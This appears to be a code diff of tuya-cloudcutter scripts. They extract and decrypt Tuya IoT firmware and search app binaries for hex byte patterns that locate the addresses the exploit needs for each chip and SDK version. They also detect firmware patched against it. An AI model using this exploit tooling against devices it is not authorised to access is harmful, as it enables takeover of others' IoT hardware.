with open(os.path.join(extract_folder_path, base_name + "_issue.txt"), 'w') as issueFile:
issueFile.write(issue)
image = load_file("image.jpg")
if image is not None:
with open(os.path.join(extractfolder, foldername + "_image.jpg"), 'wb') as imageFile:
with open(os.path.join(extract_folder_path, base_name + "_image.jpg"), 'wb') as imageFile:
imageFile.write(image)
schemaId = load_file("schema_id.txt")
if schemaId is not None:
with open(os.path.join(extractfolder, foldername + "_schema_id.txt"), 'w') as schemaIdFile:
with open(os.path.join(extract_folder_path, base_name + "_schema_id.txt"), 'w') as schemaIdFile:
schemaIdFile.write(schemaId)
schema = load_file("schema.txt")
if schema is not None:
with open(os.path.join(extractfolder, foldername + "_schema.txt"), 'w') as schemaFile:
with open(os.path.join(extract_folder_path, base_name + "_schema.txt"), 'w') as schemaFile:
schemaFile.write(schema)
storage = load_file("storage.json")
if storage is not None:
with open(os.path.join(extractfolder, foldername + "_storage.json"), 'w') as storageFile:
with open(os.path.join(extract_folder_path, base_name + "_storage.json"), 'w') as storageFile:
storageFile.write(storage)
user_param_key = load_file("user_param_key.json")
if user_param_key is not None:
with open(os.path.join(extractfolder, foldername + "_user_param_key.json"), 'w') as userParamKeyFile:
with open(os.path.join(extract_folder_path, base_name + "_user_param_key.json"), 'w') as userParamKeyFile:
userParamKeyFile.write(user_param_key)
decrypted_app_bin = load_file("app.bin")
if decrypted_app_bin is not None:
with open(os.path.join(extractfolder, foldername + "_app_1.00_decrypted.bin"), 'wb') as decryptedAppFile:
with open(os.path.join(extract_folder_path, base_name + "_active_app.bin"), 'wb') as decryptedAppFile:
decryptedAppFile.write(decrypted_app_bin)
ap_ssid = load_file("ap_ssid.txt")
if ap_ssid is not None:
with open(os.path.join(extractfolder, foldername + "_ap_ssid.txt"), 'w') as apSsidFile:
with open(os.path.join(extract_folder_path, base_name + "_ap_ssid.txt"), 'w') as apSsidFile:
apSsidFile.write(ap_ssid)
else:
print('[+] Encrypted bin has already been extracted')

View File

@@ -0,0 +1,138 @@
import json
import os
import os.path
import shutil
import sys
from bk7231tools.analysis.kvstorage import KVStorage
from ltchiptool.commands.flash.split import cli as ltchiptool_split_cli
from ltchiptool import Board
def load_file(filename: str):
global current_dir
permission = 'r'
if filename.endswith(".jpg") or filename.endswith(".bin"):
permission += 'b'
if os.path.exists(os.path.join(current_dir, filename)):
with open(os.path.join(current_dir, filename), permission) as f:
return f.read()
return None
def run(full_filename: str, process_inactive_app: bool = False):
if full_filename is None or full_filename == '':
print('Usage: python extract.py <full 2M bin file>')
sys.exit(1)
if not full_filename.__contains__('_') or full_filename.__contains__(' ') or not full_filename.endswith('.bin'):
print('Filename must match specific rules in order to properly generate a useful profile.')
print('The general format is Manufacturer-Name_Model-Number.bin')
print('manufacturer name followed by underscore (_) followed by model are required, and the extension should be .bin')
print('Dashes (-) should be used instead of spaces, and if there is a dash (-) in any part of the manufacturer or model, it must be replaced with 3 dashes (---) to be maintained.')
print('There should only be one underscore (_) present, separating manufacturer name and model')
print('Example: a Tuya Generic DS-101 would become Tuya-Generic_DS---101.bin')
print('Adding the general device type to the end of the model is recommended.')
print('Examples: Tuya-Generic_DS---101-Touch-Switch.bin or Tuya-Generic_A60-E26-RGBCT-Bulb.bin')
sys.exit(1)
global current_dir
current_dir = os.path.dirname(full_filename)
base_name = os.path.basename(full_filename.replace('.bin', ''))
extract_folder_name = base_name
if process_inactive_app:
extract_folder_name += '.inactive_app'
extract_folder_path = os.path.abspath(extract_folder_name)
if not os.path.exists(extract_folder_name) or not os.path.exists(os.path.join(extract_folder_path, base_name + "_active_app.bin")):
try:
with open(full_filename, "rb") as f:
ltchiptool_split_cli.callback(Board("generic-rtl8720cf-2mb-896k"), f, extract_folder_path, True, True)
f.seek(0) # Reset file pointer to beginning after split.
result = KVStorage.find_storage(f.read())
if not result:
raise ValueError("File doesn't contain known storage area")
_, data = result
try:
kvs = KVStorage.decrypt_and_unpack(data)
except Exception:
raise RuntimeError("Couldn't unpack storage data - see program logs")
try:
storage = kvs.read_all_values_parsed()
except Exception:
raise RuntimeError("Couldn't parse storage data - see program logs")
storage = json.dumps(storage, indent="\t")
open(os.path.join(extract_folder_path, base_name + "_storage.json"), 'wb').write(storage.encode('utf-8'))
except Exception as ex:
print(ex)
raise ex
dirListing = os.listdir(extract_folder_path)
active_ota_index = 0
for file in dirListing:
if file == "001000_system_E782.bin":
active_ota_index = 1
elif file == "001000_system_8959.bin":
active_ota_index = 2
# swap active partitions if processing inactive app
if process_inactive_app:
active_ota_index = active_ota_index % 2 + 1
for file in dirListing:
if active_ota_index == 1 and file.startswith("010000_ota1_"):
shutil.copyfile(os.path.join(extract_folder_path, file), os.path.join(extract_folder_path, base_name + "_active_app.bin"))
elif active_ota_index == 2 and file.startswith("0F0000_ota2_"):
shutil.copyfile(os.path.join(extract_folder_path, file), os.path.join(extract_folder_path, base_name + "_active_app.bin"))
issue = load_file("issue.txt")
if issue is not None:
with open(os.path.join(extract_folder_path, base_name + "_issue.txt"), 'w') as issueFile:
issueFile.write(issue)
image = load_file("image.jpg")
if image is not None:
with open(os.path.join(extract_folder_path, base_name + "_image.jpg"), 'wb') as imageFile:
imageFile.write(image)
schemaId = load_file("schema_id.txt")
if schemaId is not None:
with open(os.path.join(extract_folder_path, base_name + "_schema_id.txt"), 'w') as schemaIdFile:
schemaIdFile.write(schemaId)
schema = load_file("schema.txt")
if schema is not None:
with open(os.path.join(extract_folder_path, base_name + "_schema.txt"), 'w') as schemaFile:
schemaFile.write(schema)
storage = load_file("storage.json")
if storage is not None:
with open(os.path.join(extract_folder_path, base_name + "_storage.json"), 'w') as storageFile:
storageFile.write(storage)
user_param_key = load_file("user_param_key.json")
if user_param_key is not None:
with open(os.path.join(extract_folder_path, base_name + "_user_param_key.json"), 'w') as userParamKeyFile:
userParamKeyFile.write(user_param_key)
decrypted_app_bin = load_file("app.bin")
if decrypted_app_bin is not None:
with open(os.path.join(extract_folder_path, base_name + "_active_app.bin"), 'wb') as decryptedAppFile:
decryptedAppFile.write(decrypted_app_bin)
ap_ssid = load_file("ap_ssid.txt")
if ap_ssid is not None:
with open(os.path.join(extract_folder_path, base_name + "_ap_ssid.txt"), 'w') as apSsidFile:
apSsidFile.write(ap_ssid)
else:
print('[+] bin has already been extracted')
return
if __name__ == '__main__':
run(sys.argv)

View File

@@ -35,16 +35,13 @@ def assemble():
name = base_name.split('_')[1].replace('-', ' ').replace(" ", "-")
device_class = load_file("device_class.txt")
chip = load_file("chip.txt")
sdk = load_file("sdk.txt")
sdk = load_file("sdk_version.txt")
bv = load_file("bv.txt")
# uuid = load_file("uuid.txt")
ap_ssid = load_file("ap_ssid.txt")
# auth_key = load_file("auth_key.txt")
address_finish = load_file("address_finish.txt")
haxomatic_matched = load_file("haxomatic_matched.txt") is not None
icon = load_file("icon.txt")
if address_finish is None:
if haxomatic_matched is None:
print("[!] Directory has not been fully processed, unable to generate classic profile")
return
@@ -54,10 +51,14 @@ def assemble():
swv = "0.0.0"
product_key = load_file("product_key.txt")
firmware_key = load_file("firmware_key.txt")
address_finish = load_file("address_finish.txt")
address_datagram = load_file("address_datagram.txt")
address_ssid = load_file("address_ssid.txt")
address_ssid_padding = load_file("address_ssid_padding.txt")
address_passwd = load_file("address_passwd.txt")
address_passwd_padding = load_file("address_passwd_padding.txt")
address_token = load_file("address_token.txt")
address_token_padding = load_file("address_token_padding.txt")
schema_id = load_file("schema_id.txt")
schema = load_file("schema.txt")
if schema is not None and schema != '':
@@ -94,6 +95,12 @@ def assemble():
data["address_ssid_padding"] = int(address_ssid_padding)
if address_passwd is not None:
data["address_passwd"] = address_passwd
if address_passwd_padding is not None:
data["address_passwd_padding"] = int(address_passwd_padding)
if address_token is not None:
data["address_token"] = address_token
if address_token_padding is not None:
data["address_token_padding"] = int(address_token_padding)
profile["data"] = data
@@ -150,6 +157,17 @@ def assemble():
if tuyamcu_baud is not None:
device["tuyamcu_baud"] = tuyamcu_baud
# version cleanup
name_end = device["name"].split()[-1]
# version is present, but doesn't match what is being processed, correct it
if name_end.startswith("v") and name_end != f"v{swv}":
device["name"] = device["name"].replace(name_end, f"v{swv}")
device_filename = device_filename.replace(name_end, f"v{swv}")
# no version present, add it
if not name_end.startswith("v"):
device["name"] = f"{device['name']} v{swv}"
device_filename = f"{device_filename}-v{swv}"
print(f"[+] Creating device profile {device_filename}")
with open(os.path.join(full_path, "profile-classic", "devices", f"{device_filename}.json"), 'w') as f:
f.write(json.dumps(device, indent='\t'))
@@ -163,7 +181,7 @@ def assemble():
def run(processed_directory: str):
global full_path, base_name
full_path = processed_directory
base_name = os.path.basename(os.path.normpath(full_path))
base_name = os.path.basename(os.path.normpath(full_path)).replace('.inactive_app', '')
assemble()
return

View File

@@ -1,39 +1,84 @@
import os.path
import sys
from enum import Enum
class Platform(Enum):
BK7231T = "BK7231T"
BK7231N = "BK7231N"
RTL8720CF = "RTL8720CF"
class PlatformInfo(object):
def __init__(self, platform : Platform = None, base_address : int = None, start_offset : int = None):
self.platform = platform
match platform:
case Platform.BK7231T | Platform.BK7231N:
self.address_size = 3
self.base_address = base_address if base_address else 0x0
self.start_offset = start_offset if start_offset else 0x10000
case Platform.RTL8720CF:
self.address_size = 4
self.base_address = base_address if base_address else 0x9b000000
self.start_offset = start_offset if start_offset else 0x0
case _:
self.address_size = 0
self.base_address = base_address if base_address else 0x0
self.start_offset = start_offset if start_offset else 0
class Pattern(object):
def __init__(self, type, matchString, count, index, padding : int = 0):
self.type = type
self.matchString = matchString
self.count = count
self.index = index
self.padding = padding
PATCHED_PATTERNS_TUYAOS3 = [
"547579614f5320563a33", # TuyaOS V:3
]
PATCHED_PATTERNS_BK7231N = [
"2d6811226b1dff33181c00210393", # Patched BK7231N short/combined
"2d6811226b1dff33181c0021039329f0", # Patched BK7231N 2.3.1
"2d6811226b1dff33181c002103930bf0", # Patched BK7231N 2.3.3
]
PATCHED_PATTERNS_RTL8720CF = [
"d9f80060112206f5827b", # Patched RTL8720CF TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.4_CAD:1.0.5_CD:1.0.0
]
class CodePatternFinder(object):
def __init__(self, code: bytes, base_address: int = 0):
self.code = code
self.base_address = base_address
def __init__(self, platform : PlatformInfo):
self.platform = platform
def bytecode_search(self, bytecode: bytes, stop_at_first: bool = True):
offset = self.code.find(bytecode, 0)
offset = appcode.find(bytecode, 0)
if offset == -1:
return []
matches = [self.base_address + offset]
matches = [self.platform.base_address + offset]
if stop_at_first:
return matches
offset = self.code.find(bytecode, offset+1)
offset = appcode.find(bytecode, offset+1)
while offset != -1:
matches.append(self.base_address + offset)
offset = self.code.find(bytecode, offset+1)
matches.append(self.platform.base_address + offset)
offset = appcode.find(bytecode, offset+1)
return matches
def set_final_thumb_offset(self, address):
# Because we're only scanning the app partition, we must add the offset for the bootloader
# Also add an offset of 1 for the THUMB
return address + 0x10000 + 1
return address + self.platform.start_offset + 1
def name_output_file(desired_appended_name):
# File generated by bk7321tools dissect_dump
if appcode_path.endswith('app_1.00_decrypted.bin'):
return appcode_path.replace('app_1.00_decrypted.bin', desired_appended_name)
return appcode_path + "_" + desired_appended_name
@@ -42,108 +87,255 @@ def walk_app_code():
if b'TUYA' not in appcode:
raise RuntimeError('[!] App binary does not appear to be correctly decrypted, or has no Tuya references.')
# Older versions of BK7231T, BS version 30.04, SDK 2.0.0
if b'TUYA IOT SDK V:2.0.0 BS:30.04' in appcode and b'AT 8710_2M' in appcode:
# 04 1e 2c d1 11 9b is the byte pattern for datagram payload
# 3 matches, 2nd is correct
# 2b 68 30 1c 98 47 is the byte pattern for finish addess
# 1 match should be found
process_generic("BK7231T", "SDK 2.0.0 8710_2M", "datagram", 0, "041e2cd1119b", 1, 0, "2b68301c9847", 1, 0)
return
# Older versions of BK7231T, BS version 30.05/30.06, SDK 2.0.0
if (b'TUYA IOT SDK V:2.0.0 BS:30.05' in appcode or b'TUYA IOT SDK V:2.0.0 BS:30.06' in appcode) and b'AT 8710_2M' in appcode:
# 04 1e 07 d1 11 9b 21 1c 00 is the byte pattern for datagram payload
# 3 matches, 2nd is correct
# 2b 68 30 1c 98 47 is the byte pattern for finish addess
# 1 match should be found
process_generic("BK7231T", "SDK 2.0.0 8710_2M", "datagram", 0, "041e07d1119b211c00", 3, 1, "2b68301c9847", 1, 0)
return
# Newer versions of BK7231T, BS 40.00, SDK 1.0.x, nobt
if b'TUYA IOT SDK V:1.0.' in appcode and b'AT bk7231t_nobt' in appcode:
# b5 4f 06 1e 07 d1 is the byte pattern for datagram payload
# 1 match should be found
# 23 68 38 1c 98 47 is the byte pattern for finish addess
# 2 matches should be found, 1st is correct
process_generic("BK7231T", "SDK 1.0.# nobt", "datagram", 0, "b54f061e07d1", 1, 0, "2368381c9847", 2, 0)
return
# Newer versions of BK7231T, BS 40.00, SDK 1.0.x
if b'TUYA IOT SDK V:1.0.' in appcode and b'AT bk7231t' in appcode:
# a1 4f 06 1e is the byte pattern for datagram payload
# 1 match should be found
# 23 68 38 1c 98 47 is the byte pattern for finish addess
# 2 matches should be found, 1st is correct
process_generic("BK7231T", "SDK 1.0.#", "datagram", 0, "a14f061e", 1, 0, "2368381c9847", 2, 0)
return
# Newer versions of BK7231T, BS 40.00, SDK 2.3.0
if b'TUYA IOT SDK V:2.3.0' in appcode and b'AT bk7231t' in appcode:
# 04 1e 08 d1 4d 4b is the byte pattern for datagram payload
# 1 match should be found
# 7b 69 20 1c 98 47 is the byte pattern for finish addess
# 1 match should be found, 1st is correct
# Padding offset of 20 is the only one available in this SDK, instead of the usual 4 for SSID.
process_generic("BK7231T", "SDK 2.3.0", "ssid", 20, "041e08d14d4b", 1, 0, "7b69201c9847", 1, 0)
return
# Newest versions of BK7231T, BS 40.00, SDK 2.3.2
if b'TUYA IOT SDK V:2.3.2 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0' in appcode:
# 04 1e 00 d1 0c e7 is the byte pattern for ssid payload (offset 8 bytes)
# 1 match should be found
# bb 68 20 1c 98 47 is the byte pattern for finish address
# 1 match should be found, 1st is correct
# Padding offset of 8 is the only one available in this SDK, instead of the usual 4 for SSID.
process_generic("BK7231T", "SDK 2.3.2", "ssid", 8, "041e00d10ce7", 1, 0, "bb68201c9847", 1, 0)
return
# BK7231N, BS 40.00, SDK 2.3.1, CAD 1.0.3
# 0.0.2 is also a variant of 2.3.1
if (b'TUYA IOT SDK V:2.3.1 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode
or b'TUYA IOT SDK V:0.0.2 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode
or b'TUYA IOT SDK V:2.3.1 BS:40.00_PT:2.2_LAN:3.4_CAD:1.0.3_CD:1.0.0' in appcode
or b'TUYA IOT SDK V:ffcgroup BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode):
# 05 1e 00 d1 15 e7 is the byte pattern for ssid payload
# 1 match should be found
# 43 68 20 1c 98 47 is the byte pattern for finish address
# 1 match should be found
process_generic("BK7231N", "SDK 2.3.1", "ssid", 4, "051e00d115e7", 1, 0, "4368201c9847", 1, 0)
return
# BK7231N, BS 40.00, SDK 2.3.3, CAD 1.0.4
if b'TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0' in appcode:
# 05 1e 00 d1 13 e7 is the byte pattern for ssid payload
# 1 match should be found
# 43 68 20 1c 98 47 is the byte pattern for finish address
# 1 match should be found
process_generic("BK7231N", "SDK 2.3.3 LAN 3.3/CAD 1.0.4", "ssid", 4, "051e00d113e7", 1, 0, "4368201c9847", 1, 0)
return
# BK7231N, BS 40.00, SDK 2.3.3, CAD 1.0.5
if b'TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.4_CAD:1.0.5_CD:1.0.0' in appcode:
# 05 1e 00 d1 fc e6 is the byte pattern for ssid payload
# 1 match should be found
# 43 68 20 1c 98 47 is the byte pattern for finish address
# 1 match should be found
process_generic("BK7231N", "SDK 2.3.3 LAN 3.4/CAD 1.0.5", "ssid", 4, "051e00d1fce6", 1, 0, "4368201c9847", 1, 0)
return
# TuyaOS V3+, patched
if b'TuyaOS V:3' in appcode:
with open(name_output_file('patched.txt'), 'w') as f:
f.write('patched')
print("==============================================================================================================")
print("[!] The binary supplied appears to be patched and no longer vulnerable to the tuya-cloudcutter exploit.")
print("==============================================================================================================")
for patch_pattern in PATCHED_PATTERNS_TUYAOS3:
if check_for_patched(patch_pattern):
return
if b'AT bk7231n' in appcode or b'AT BK7231NL' in appcode:
for patch_pattern in PATCHED_PATTERNS_BK7231N:
if check_for_patched(patch_pattern):
return
if b'AT rtl8720cf_ameba' in appcode:
for patch_pattern in PATCHED_PATTERNS_RTL8720CF:
if check_for_patched(patch_pattern):
return
# Early BK7231T when it was built with a realtek-like string.
if b'AT 8710_2M' in appcode:
# Older versions of BK7231T, BS version 30.04, SDK 2.0.0
if b'TUYA IOT SDK V:2.0.0 BS:30.04' in appcode:
# 04 1e 2c d1 11 9b is the byte pattern for datagram payload
# 3 matches, 2nd is correct
# 2b 68 30 1c 98 47 is the byte pattern for finish
# 1 match should be found
process(PlatformInfo(Platform.BK7231T), "SDK 2.0.0 8710_2M",
Pattern("datagram", "041e2cd1119b", 1, 0),
Pattern("finish", "2b68301c9847", 1, 0))
return
# Older versions of BK7231T, BS version 30.05/30.06, SDK 2.0.0
if b'TUYA IOT SDK V:2.0.0 BS:30.05' in appcode or b'TUYA IOT SDK V:2.0.0 BS:30.06' in appcode:
# 04 1e 07 d1 11 9b 21 1c 00 is the byte pattern for datagram payload
# 3 matches, 2nd is correct
# 2b 68 30 1c 98 47 is the byte pattern for finish
# 1 match should be found
process(PlatformInfo(Platform.BK7231T), "SDK 2.0.0 8710_2M",
Pattern("datagram", "041e07d1119b211c00", 3, 1),
Pattern("finish", "2b68301c9847", 1, 0))
return
# Oddball BK7231T built without bluetooth support.
if b'AT bk7231t_nobt' in appcode:
# Newer versions of BK7231T, BS 40.00, SDK 1.0.x, nobt
if b'TUYA IOT SDK V:1.0.' in appcode:
# b5 4f 06 1e 07 d1 is the byte pattern for datagram payload
# 1 match should be found
# 23 68 38 1c 98 47 is the byte pattern for finish
# 2 matches should be found, 1st is correct
process(PlatformInfo(Platform.BK7231T), "SDK 1.0.# nobt",
Pattern("datagram", "b54f061e07d1", 1, 0),
Pattern("finish", "2368381c9847", 2, 0))
return
# Typical newer BK7231T
if b'AT bk7231t' in appcode:
# Newer versions of BK7231T, BS 40.00, SDK 1.0.x
if b'TUYA IOT SDK V:1.0.' in appcode:
# a1 4f 06 1e is the byte pattern for datagram payload
# 1 match should be found
# 23 68 38 1c 98 47 is the byte pattern for finish
# 2 matches should be found, 1st is correct
process(PlatformInfo(Platform.BK7231T), "SDK 1.0.#",
Pattern("datagram", "a14f061e", 1, 0),
Pattern("finish", "2368381c9847", 2, 0))
return
# Newer versions of BK7231T, BS 40.00, SDK 2.3.0
if b'TUYA IOT SDK V:2.3.0' in appcode:
# 04 1e 08 d1 4d 4b is the byte pattern for ssid payload with a padding of 20
# 1 match should be found
# 7b 69 20 1c 98 47 is the byte pattern for finish
# 1 match should be found, 1st is correct
process(PlatformInfo(Platform.BK7231T), "SDK 2.3.0",
Pattern("ssid", "041e08d14d4b", 1, 0, 20),
Pattern("finish", "7b69201c9847", 1, 0))
return
# Newest versions of BK7231T, BS 40.00, SDK 2.3.2
if b'TUYA IOT SDK V:2.3.2 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0' in appcode:
# 04 1e 00 d1 0c e7 is the byte pattern for ssid payload with a padding of 8
# 1 match should be found
# bb 68 20 1c 98 47 is the byte pattern for finish
# 1 match should be found, 1st is correct
process(PlatformInfo(Platform.BK7231T), "SDK 2.3.2",
Pattern("ssid", "041e00d10ce7", 1, 0, 8),
Pattern("finish", "bb68201c9847", 1, 0))
return
# BK7231N and BK7231NL
if b'AT bk7231n' in appcode or b'AT BK7231NL' in appcode:
# This one build is slightly different than the rest of the following 2.3.1 builds
if (b'TUYA IOT SDK V:2.3.1 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode
and b'BUILD AT:2021_02_26_12_42_29 BY embed FOR ty_iot_sdk AT bk7231n' in appcode):
# 05 1e 00 d1 c9 e6 is the byte pattern for ssid payload with a padding of 4
# 1 match should be found
# 43 68 20 1c 98 47 is the byte pattern for finish
# 1 match should be found
process(PlatformInfo(Platform.BK7231N), "SDK 2.3.1",
Pattern("ssid", "051e00d1c9e6", 1, 0, 4),
Pattern("finish", "4368201c9847", 1, 0))
return
# BK7231N, BS 40.00, SDK 2.3.1, CAD 1.0.3
# 0.0.2 is also a variant of 2.3.1
if (b'TUYA IOT SDK V:2.3.1 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode
or b'TUYA IOT SDK V:0.0.2 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode
or b'TUYA IOT SDK V:2.3.1 BS:40.00_PT:2.2_LAN:3.4_CAD:1.0.3_CD:1.0.0' in appcode
or b'TUYA IOT SDK V:ffcgroup BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode):
# 05 1e 00 d1 15 e7 is the byte pattern for ssid payload with a padding of 4
# 1 match should be found
# 43 68 20 1c 98 47 is the byte pattern for finish
# 1 match should be found
process(PlatformInfo(Platform.BK7231N), "SDK 2.3.1",
Pattern("ssid", "051e00d115e7", 1, 0, 4),
Pattern("finish", "4368201c9847", 1, 0))
return
# BK7231N, BS 40.00, SDK 2.3.3, CAD 1.0.4
if b'TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0' in appcode:
# 05 1e 00 d1 13 e7 is the byte pattern for ssid payload with a padding of 4
# 1 match should be found
# 43 68 20 1c 98 47 is the byte pattern for finish
# 1 match should be found
process(PlatformInfo(Platform.BK7231N), "SDK 2.3.3 LAN 3.3/CAD 1.0.4",
Pattern("ssid", "051e00d113e7", 1, 0, 4),
Pattern("finish", "4368201c9847", 1, 0))
return
# BK7231N, BS 40.00, SDK 2.3.3, CAD 1.0.5
if b'TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.4_CAD:1.0.5_CD:1.0.0' in appcode:
# 05 1e 00 d1 fc e6 is the byte pattern for ssid payload with a padding of 4
# 1 match should be found
# 43 68 20 1c 98 47 is the byte pattern for finish
# 1 match should be found
process(PlatformInfo(Platform.BK7231N), "SDK 2.3.3 LAN 3.4/CAD 1.0.5",
Pattern("ssid", "051e00d1fce6", 1, 0, 4),
Pattern("finish", "4368201c9847", 1, 0))
return
# Special case for a RTL8720CF build with no SDK string
# RTL8720CF, 2.3.0 SDK with no SDK string
if b'TUYA IOT SDK' not in appcode and b'AmebaZII' in appcode and b'\x002.3.0\x00' in appcode:
# 28 46 66 6a b0 47 is the byte pattern for ssid with a padding of 4
# 1 match should be found
# df f8 3c 81 06 46 is the byte pattern for passwd with a padding of 2
# 1 match should be found
# 04 46 30 b1 00 68 is the byte pattern for finish
# 2 matches should be found, second is correct
process(PlatformInfo(Platform.RTL8720CF), "SDK 2.3.0",
Pattern("ssid", "2846666ab047", 1, 0, 4),
Pattern("passwd", "dff83c810646", 1, 0, 2),
Pattern("finish", "044630b10068", 2, 1))
return
# RTL8720CF
if b'AT rtl8720cf_ameba' in appcode:
# TUYA IOT SDK V:1.0.8 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.2_CD:1.0.0
# TUYA IOT SDK V:1.0.11 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.2_CD:1.0.0
# TUYA IOT SDK V:1.0.12 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.2_CD:1.0.0
# TUYA IOT SDK V:1.0.13 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.2_CD:1.0.0
# TUYA IOT SDK V:1.0.14 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.2_CD:1.0.0
if b'TUYA IOT SDK V:1.0.' in appcode:
# SDK 1.0.x has a special XIP load address and offset
process(PlatformInfo(Platform.RTL8720CF, 0x9b000000 - 0x8000), "SDK 1.0.x",
Pattern("token", "464f054628b9", 1, 0),
Pattern("finish", "d8f8003011aa", 1, 0))
return
# RTL8720CF 2.3.0 SDK with SDK string
if (b'TUYA IOT SDK V:2.3.0 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode
and (b'BUILD AT:2021_01_06_11_13_21 BY embed FOR ty_iot_sdk_bugfix AT rtl8720cf_ameba' in appcode
or b'BUILD AT:2021_04_29_18_59_39 BY embed FOR ty_iot_sdk_bugfix AT rtl8720cf_ameba' in appcode)):
# 5b 68 20 46 98 47 is the byte pattern for token
# 2 matches should be found, second is correct
# df f8 34 80 06 46 is the byte pattern for passwd with a padding of 4
# 1 match should be found
# d8 f8 00 80 b8 f1 is the byte pattern for finish
# 1 match should be found
process(PlatformInfo(Platform.RTL8720CF), "SDK 2.3.0",
Pattern("token", "5b6820469847", 2, 1),
Pattern("passwd", "dff834800646", 1, 0, 4),
Pattern("finish", "d8f80080b8f1", 1, 0))
return
# Same as 2.3.0 without SDK string above
if b'TUYA IOT SDK V:2.3.0 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode and b'BUILD AT:2021_06_17_16_35_07 BY embed FOR ty_iot_sdk_bugfix AT rtl8720cf_ameba' in appcode:
# 28 46 66 6a b0 47 is the byte pattern for ssid with a padding of 4
# 1 match should be found
# df f8 3c 81 06 46 is the byte pattern for passwd with a padding of 2
# 1 match should be found
# 04 46 30 b1 00 68 is the byte pattern for finish
# 2 matches should be found, second is correct
process(PlatformInfo(Platform.RTL8720CF), "SDK 2.3.0",
Pattern("ssid", "2846666ab047", 1, 0, 4),
Pattern("passwd", "dff83c810646", 1, 0, 2),
Pattern("finish", "044630b10068", 2, 1))
return
# TUYA IOT SDK V:2.3.1 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0
if b'TUYA IOT SDK V:2.3.1 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode:
# 05 46 00 28 3f f4 a6 ac is the byte pattern for token
# 1 match should be found
# 28 46 d8 f8 04 30 is the byte pattern for finish
# 1 match should be found
process(PlatformInfo(Platform.RTL8720CF), "SDK 2.3.1",
Pattern("token", "054600283ff4a6ac", 1, 0, 4),
Pattern("finish", "2846d8f80430", 1, 0))
return
# TUYA IOT SDK V:2.3.2 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0
if b'TUYA IOT SDK V:2.3.2 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0' in appcode:
# 05 46 00 28 3f f4 ba ac is the byte pattern for token
# 1 match should be found
# 28 46 d8 f8 04 30 is the byte pattern for finish
# 1 match should be found
process(PlatformInfo(Platform.RTL8720CF), "SDK 2.3.2",
Pattern("token", "054600283ff4baac", 1, 0, 4),
Pattern("finish", "2846d8f80430", 1, 0))
return
# TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0
# Early 2.3.3 are the same as 2.3.2
if (b'TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0' in appcode
and (b'BUILD AT:2021_09_22_16_52_29 BY embed FOR ty_iot_sdk AT rtl8720cf_ameba' in appcode
or b'BUILD AT:2023_03_02_17_45_15 BY ci_manage FOR ty_iot_sdk AT rtl8720cf_ameba' in appcode)):
# 05 46 00 28 3f f4 ba ac is the byte pattern for token
# 1 match should be found
# 28 46 d8 f8 04 30 is the byte pattern for finish
# 1 match should be found
process(PlatformInfo(Platform.RTL8720CF), "SDK 2.3.3 (older)",
Pattern("token", "054600283ff4baac", 1, 0, 4),
Pattern("finish", "2846d8f80430", 1, 0))
return
# TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0
if b'TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0' in appcode:
# 28 46 00 f0 2a fd is the byte pattern for token
# 1 match should be found
# b8 f1 0e 0f 7f d9 is the byte pattern for finish
# 1 match should be found
process(PlatformInfo(Platform.RTL8720CF), "SDK 2.3.3 (newer)",
Pattern("token", "284600f02afd", 1, 0),
Pattern("finish", "b8f10e0f7fd9", 1, 0))
return
raise RuntimeError('Unknown pattern, please open a new issue and include the bin.')
def check_for_patched(known_patch_pattern):
matcher = CodePatternFinder(appcode, 0x0)
matcher = CodePatternFinder(PlatformInfo())
patched_bytecode = bytes.fromhex(known_patch_pattern)
patched_matches = matcher.bytecode_search(patched_bytecode, stop_at_first=True)
@@ -158,63 +350,53 @@ def check_for_patched(known_patch_pattern):
return False
def process_generic(chipset, pattern_version, payload_type, payload_padding, payload_string, payload_count, payload_index, finish_string, finish_count, finish_index):
with open(name_output_file('chip.txt'), 'w') as f:
f.write(f'{chipset}')
matcher = CodePatternFinder(appcode, 0x0)
print(f"[+] Matched pattern for {chipset} version {pattern_version}, payload type {payload_type}")
patch_patterns = [
"2d6811226b1dff33181c00210393", # BK7231N short/combined
"2d6811226b1dff33181c0021039329f0", # BK7231N 2.3.1 Patched
"2d6811226b1dff33181c002103930bf0", # BK7231N 2.3.3 Patched
]
for patch_pattern in patch_patterns:
if check_for_patched(patch_pattern):
return
